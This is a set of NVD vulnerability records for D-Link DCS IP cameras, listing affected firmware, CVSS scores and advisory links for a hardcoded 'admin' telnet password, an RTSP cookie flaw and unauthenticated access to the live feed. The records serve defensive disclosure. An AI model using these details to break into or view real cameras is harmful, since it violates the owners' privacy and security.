| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - | |
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string \"admin\" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El dispositivo presenta un demonio telnet personalizado como parte de la busybox y recupera la contrase\u00f1a del archivo instant\u00e1neo utilizando la funci\u00f3n getspnam en la direcci\u00f3n 0x00053894. Luego realiza una operaci\u00f3n de cifrado en la contrase\u00f1a recuperada del usuario en la direcci\u00f3n 0x000538E0 y realiza un strcmp en la direcci\u00f3n 0x00053908 para comprobar si la contrase\u00f1a es correcta o incorrecta. Sin embargo, el archivo /etc/shadow es una parte del sistema de archivos CRAM-FS, lo que quiere decir que el usuario no puede cambiar la contrase\u00f1a y, por lo tanto, se utiliza un hash codificado en /etc/shadow para que coincida con las credenciales suministradas por el usuario. Este es un hash con sal de la cadena \"admin\" y, por lo tanto, act\u00faa como una contrase\u00f1a para el dispositivo que no se puede cambiar debido a que todo el sistema de archivos es de solo lectura."
}
],
"id": "CVE-2017-8415",
"lastModified": "2024-11-21T03:33:59.780",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T21:15:10.493",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-798"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2020-01-28 22:15
Modified
2024-11-21 01:49
Severity ?
Summary
An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://www.securityfocus.com/bid/59569 | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://exchange.xforce.ibmcloud.com/vulnerabilities/83942 | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://packetstormsecurity.com/files/cve/CVE-2013-1602 | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/59569 | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://exchange.xforce.ibmcloud.com/vulnerabilities/83942 | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://packetstormsecurity.com/files/cve/CVE-2013-1602 | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities | Exploit, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-3411_firmware | 1.02 | |
| dlink | dcs-3411 | - | |
| dlink | dcs-3430_firmware | 1.02 | |
| dlink | dcs-3430 | - | |
| dlink | dcs-5605_firmware | 1.01 | |
| dlink | dcs-5605 | - | |
| dlink | dcs-5635_firmware | 1.01 | |
| dlink | dcs-5635 | - | |
| dlink | dcs-1100l_firmware | 1.04 | |
| dlink | dcs-1100l | - | |
| dlink | dcs-1130l_firmware | 1.04 | |
| dlink | dcs-1130l | - | |
| dlink | dcs-1100_firmware | 1.03 | |
| dlink | dcs-1100_firmware | 1.04 | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | 1.03 | |
| dlink | dcs-1130_firmware | 1.04 | |
| dlink | dcs-1130 | - | |
| dlink | dcs-2102_firmware | 1.05 | |
| dlink | dcs-2102_firmware | 1.06 | |
| dlink | dcs-2102 | - | |
| dlink | dcs-2121_firmware | 1.05 | |
| dlink | dcs-2121_firmware | 1.06 | |
| dlink | dcs-2121 | - | |
| dlink | dcs-3410_firmware | 1.02 | |
| dlink | dcs-3410 | - | |
| dlink | dcs-5230_firmware | 1.02 | |
| dlink | dcs-5230 | - | |
| dlink | dcs-5230l_firmware | 1.02 | |
| dlink | dcs-5230l | - | |
| dlink | dcs-6410_firmware | 1.00 | |
| dlink | dcs-6410 | - | |
| dlink | dcs-7410_firmware | 1.00 | |
| dlink | dcs-7410 | - | |
| dlink | dcs-7510_firmware | 1.00 | |
| dlink | dcs-7510 | - | |
| dlink | wcs-1100_firmware | 1.00 | |
| dlink | wcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.06:*:*:*:*:*:*:*",
"matchCriteriaId": "309BB5E5-5664-447B-B2C0-DCE54B0FDC2F",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
"matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.06:*:*:*:*:*:*:*",
"matchCriteriaId": "631443E3-859B-439D-879E-C342B514BF33",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams."
},
{
"lang": "es",
"value": "Se presenta una vulnerabilidad de Divulgaci\u00f3n de Informaci\u00f3n debido a una comprobaci\u00f3n insuficiente de las cookies de autenticaci\u00f3n para la sesi\u00f3n RTSP en D-Link DCS-5635 versi\u00f3n 1.01, DCS-1100L versi\u00f3n 1.04, DCS-1130L versi\u00f3n 1.04, DCS-1100 versiones 1.03/1.04_US, DCS-1130 versiones 1.03/1.04_US , DCS-2102 versiones 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 versiones 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 versi\u00f3n 1.02, DCS-5230 versi\u00f3n 1.02, DCS-5230L versi\u00f3n 1.02, DCS-6410 versi\u00f3n 1.0, DCS-7410 versi\u00f3n 1.0, DCS-7510 versi\u00f3n 1.0 y WCS-1100 versi\u00f3n 1.02, lo que podr\u00eda permitir a un usuario malicioso obtener acceso no autorizado a transmisiones de video."
}
],
"id": "CVE-2013-1602",
"lastModified": "2024-11-21T01:49:58.490",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2020-01-28T22:15:10.840",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59569"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59569"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-200"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 20:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1130 de D-Link. El dispositivo requiere que un usuario inicie sesi\u00f3n en el dispositivo para suministrar un nombre de usuario y contrase\u00f1a. Sin embargo, el dispositivo no impone la misma restricci\u00f3n en una URL espec\u00edfica, lo que permite que cualquier atacante en posesi\u00f3n de esta, pueda visualizar la fuente de video en tiempo real. La severidad de este ataque se incrementa por el hecho de que hay m\u00e1s de 100.000 dispositivos D-Link instalados."
}
],
"id": "CVE-2017-8409",
"lastModified": "2024-11-21T03:33:58.840",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T20:15:11.043",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-285"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 20:15
Modified
2024-11-21 03:33
Severity ?
Summary
